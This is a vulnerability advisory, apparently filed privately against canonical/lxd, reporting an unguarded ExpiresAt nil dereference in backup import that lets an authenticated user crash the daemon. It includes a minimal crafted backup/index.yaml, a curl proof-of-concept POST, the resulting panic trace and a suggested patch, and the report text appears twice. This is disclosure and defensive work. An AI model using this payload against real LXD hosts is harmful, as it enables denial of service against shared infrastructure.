Summary
(sibling-field variant of CVE-2026-40197 fix 05bc272)
(*lxdBackend).CreateCustomVolumeFromBackup in lxd/storage/backend_lxd.go contains an unguarded *time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An authenticated user with EntitlementCanCreateStorageVolumes permission on any project can crash the lxd daemon by uploading a backup tarball whose volumes[0].snapshots[*].expires_at field is omitted.
This is a sibling-field variant of the CVE-2026-40197 fix (commit 05bc272, "Validate snapshots from backup.yaml are non-nil", cherry-picked from incus commit 985a1dedf / GHSA-r7w7-mmxr-47r9). That fix added if snap == nil guards at several consumer sites, but did not guard the adjacent *snapshot.ExpiresAt deref at line 8216. Every other consumer of this field in the same file already gates the deref with if … != nil (e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug.
Vulnerable code
lxd/storage/backend_lxd.go, CreateCustomVolumeFromBackup:
// Line 8141-8150 — earliest snapshot validation pass (caches s == nil)
for i, snap := range customVol.Snapshots {
if snap == nil {
return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
}
err = drivers.ValidVolumeName(snap.Name)
...
}
// Line 8196-8216 — the snapshot DB-create loop
for i, s := range customVol.Snapshots {
if s == nil {
return fmt.Errorf("Nil custom volume snapshot definition found at index %d", i)
}
snapshot := s
...
// Line 8216 — UNGUARDED *time.Time deref:
err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description,
snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt,
*snapshot.ExpiresAt, // <-- panics when expires_at omitted in YAML
snapVol.ContentType(), true, true)
ExpiresAt is declared *time.Time (shared/api/storage_pool_volume_snapshot.go). Every other consumer in the same file already uses the safe pattern (if … != nil { … = *… }):
| Line |
Code |
Guarded? |
| 1010-1011 |
rootVol.Snapshots[i].ExpiresAt |
YES |
| 1274-1275 |
rootVol.Snapshots[i].ExpiresAt |
YES |
| 1558-1559 |
srcSnap.ExpiresAt |
YES |
| 1856-1857 |
rootVol.Snapshots[i].ExpiresAt |
YES |
| 2454-2455 |
rootVol.Snapshots[i].ExpiresAt |
YES |
| 5070-5071 |
customVol.Snapshots[i].ExpiresAt |
YES |
| 5527-5528 |
srcSnap.ExpiresAt |
YES |
| 8216 |
CreateCustomVolumeFromBackup snapshot.ExpiresAt |
NO |
Reach
- Attacker is an authenticated client (TLS cert, OIDC, or unix socket) with the
EntitlementCanCreateStorageVolumes entitlement on any project. Same auth gate as CVE-2026-40197.
POST /1.0/storage-pools/<pool>/volumes/custom with Content-Type: application/octet-stream and X-LXD-name: <name>.
- Body is a tar containing
backup/index.yaml with type: custom, volumes[0] non-nil, and volumes[0].snapshots[0] non-nil but missing expires_at.
lxd/storage_volumes.go:storagePoolVolumesPost -> backup.GetInfo parses the yaml -> pool.CreateCustomVolumeFromBackup -> the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) -> *snapshot.ExpiresAt on line 8216 panics on the nil *time.Time.
- The Go runtime kills the entire
lxd daemon process. Repeated POSTs are a persistent denial of service.
Minimal backup/index.yaml:
name: poc-vol
backend: dir
pool: default
type: custom
optimized: false
optimized_header: false
snapshots: [snap0]
config:
version: 2
pools:
- {name: default, driver: dir, config: {}}
volumes:
- name: poc-vol
type: custom
pool: default
content_type: filesystem
config: {}
snapshots:
- name: snap0
description: snap0
config: {}
# expires_at intentionally omitted
Proof of concept (end-to-end against running daemon)
Bundled in the report: make_backup.sh + the resulting 516-byte poc-vol-lxd.tar.gz.
Tested against lxd 6.8 (HEAD of canonical/lxd at the time of testing, built from source with make deps && go build -tags libsqlite3 ./lxd). Daemon started with default dir storage pool.
$ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \
--data-binary @/tmp/poc-vol-lxd.tar.gz \
-H 'Content-Type: application/octet-stream' \
-H 'X-LXD-name: poc-vol' \
http://lxd/1.0/storage-pools/default/volumes/custom
{"type":"async","status":"Operation created","status_code":100,...}
$ ps -ef | grep lxd | grep -v grep # daemon GONE
Daemon panic from /tmp/lxd.out:
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x11015e8]
goroutine 683 [running]:
github.com/canonical/lxd/lxd/storage.(*lxdBackend).CreateCustomVolumeFromBackup(...)
github.com/canonical/lxd/lxd/storage/backend_lxd.go:8216 +0xf58
main.createStoragePoolVolumeFromBackup.func6(...)
github.com/canonical/lxd/lxd/storage_volumes.go:2879 +0x2a0
github.com/canonical/lxd/lxd/operations.(*Operation).start.func1(...)
github.com/canonical/lxd/lxd/operations/operations.go:588 +0x6c
created by github.com/canonical/lxd/lxd/operations.(*Operation).start in goroutine 655
github.com/canonical/lxd/lxd/operations/operations.go:541 +0x2b8
Stack frame backend_lxd.go:8216 is the literal *snapshot.ExpiresAt line.
Impact
- Severity: denial of service against the entire
lxd daemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.
- Privileges required: any authenticated user with
can_create_storage_volumes on any project. Not behind the admin tier.
- Network attack surface: the LXD REST API on
:8443 or the unix socket.
- CWE-476 — Nil-Pointer Dereference. CVSS estimate: 6.5 (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).
- Versions: confirmed at
lxd 6.8 (HEAD); the same code exists in the v5.21 LTS line as the parent fix 05bc272 was a cherry-pick from incus.
Suggested fix
Mirror the guard pattern already in use elsewhere in this file:
--- a/lxd/storage/backend_lxd.go
+++ b/lxd/storage/backend_lxd.go
@@ -8210,9 +8210,14 @@ func (b *lxdBackend) CreateCustomVolumeFromBackup(...) error {
snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName)
snapVol := b.GetNewVolume(drivers.VolumeTypeCustom, drivers.ContentType(customVol.ContentType), snapVolStorageName, snapshot.Config)
// Validate config and create database entry for new storage volume.
// Strip unsupported config keys (in case the export was made from a different type of storage pool).
- err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, *snapshot.ExpiresAt, snapVol.ContentType(), true, true)
+ var snapExpiryDate time.Time
+ if snapshot.ExpiresAt != nil {
+ snapExpiryDate = *snapshot.ExpiresAt
+ }
+
+ err = VolumeDBCreate(b, srcBackup.Project, fullSnapName, snapshot.Description, snapVol.Type(), true, snapVol.Config(), snapshot.CreatedAt, snapExpiryDate, snapVol.ContentType(), true, true)
if err != nil {
return err
}
Related advisories
GHSA-r7w7-mmxr-47r9 (CVE-2026-40197) / commit 05bc272 (cherry-pick of incus 985a1dedf) — parent fix: added s == nil checks at multiple consumer sites, missed the *snapshot.ExpiresAt deref at line 8216.
lxc/incus GHSA-xhqx-mgh3-3h7q (sibling report filed by same reporter against the upstream-equivalent line internal/server/storage/backend.go:7731 in incus).
The shape is "incomplete fix on a sibling field of the same struct" — the maintainer walked nil-checks for the iteration-variable pointer but did not walk every adjacent pointer field that the loop body still dereferences.
Reporter notes
Reported via Privately-Reported Vulnerability against canonical/lxd by tonghuaroot.
Summary
(sibling-field variant of CVE-2026-40197 fix 05bc272)
(*lxdBackend).CreateCustomVolumeFromBackupinlxd/storage/backend_lxd.gocontains an unguarded*time.Timedereference on theExpiresAtfield of every volume-snapshot entry in an imported custom-volume backup. An authenticated user withEntitlementCanCreateStorageVolumespermission on any project can crash thelxddaemon by uploading a backup tarball whosevolumes[0].snapshots[*].expires_atfield is omitted.This is a sibling-field variant of the CVE-2026-40197 fix (commit
05bc272, "Validate snapshots from backup.yaml are non-nil", cherry-picked from incus commit985a1dedf/ GHSA-r7w7-mmxr-47r9). That fix addedif snap == nilguards at several consumer sites, but did not guard the adjacent*snapshot.ExpiresAtderef at line 8216. Every other consumer of this field in the same file already gates the deref withif … != nil(e.g. lines 1010-1011, 1274-1275, 1856-1857, 2454-2455, 5070-5071, 5527-5528). Asymmetric guard is the bug.Vulnerable code
lxd/storage/backend_lxd.go,CreateCustomVolumeFromBackup:ExpiresAtis declared*time.Time(shared/api/storage_pool_volume_snapshot.go). Every other consumer in the same file already uses the safe pattern (if … != nil { … = *… }):Reach
EntitlementCanCreateStorageVolumesentitlement on any project. Same auth gate as CVE-2026-40197.POST /1.0/storage-pools/<pool>/volumes/customwithContent-Type: application/octet-streamandX-LXD-name: <name>.backup/index.yamlwithtype: custom,volumes[0]non-nil, andvolumes[0].snapshots[0]non-nil but missingexpires_at.lxd/storage_volumes.go:storagePoolVolumesPost->backup.GetInfoparses the yaml ->pool.CreateCustomVolumeFromBackup-> the validations at 8141-8150 + 8197 pass (snapshot pointer is non-nil, name is valid) ->*snapshot.ExpiresAton line 8216 panics on the nil*time.Time.lxddaemon process. Repeated POSTs are a persistent denial of service.Minimal
backup/index.yaml:Proof of concept (end-to-end against running daemon)
Bundled in the report:
make_backup.sh+ the resulting 516-bytepoc-vol-lxd.tar.gz.Tested against
lxd 6.8(HEAD ofcanonical/lxdat the time of testing, built from source withmake deps && go build -tags libsqlite3 ./lxd). Daemon started with defaultdirstorage pool.$ curl -s --unix-socket /var/lib/lxd/unix.socket -X POST \ --data-binary @/tmp/poc-vol-lxd.tar.gz \ -H 'Content-Type: application/octet-stream' \ -H 'X-LXD-name: poc-vol' \ http://lxd/1.0/storage-pools/default/volumes/custom {"type":"async","status":"Operation created","status_code":100,...} $ ps -ef | grep lxd | grep -v grep # daemon GONEDaemon panic from
/tmp/lxd.out:Stack frame
backend_lxd.go:8216is the literal*snapshot.ExpiresAtline.Impact
lxddaemon process. Every container / VM / storage operation on the host (and on the cluster member, if clustered) is aborted; subsequent requests fail until an operator restarts the process.can_create_storage_volumeson any project. Not behind the admin tier.:8443or the unix socket.lxd 6.8(HEAD); the same code exists in the v5.21 LTS line as the parent fix05bc272was a cherry-pick from incus.Suggested fix
Mirror the guard pattern already in use elsewhere in this file:
Related advisories
GHSA-r7w7-mmxr-47r9(CVE-2026-40197) / commit05bc272(cherry-pick of incus985a1dedf) — parent fix: addeds == nilchecks at multiple consumer sites, missed the*snapshot.ExpiresAtderef at line 8216.lxc/incus GHSA-xhqx-mgh3-3h7q(sibling report filed by same reporter against the upstream-equivalent lineinternal/server/storage/backend.go:7731in incus).The shape is "incomplete fix on a sibling field of the same struct" — the maintainer walked nil-checks for the iteration-variable pointer but did not walk every adjacent pointer field that the loop body still dereferences.
Reporter notes
Reported via Privately-Reported Vulnerability against
canonical/lxdby tonghuaroot.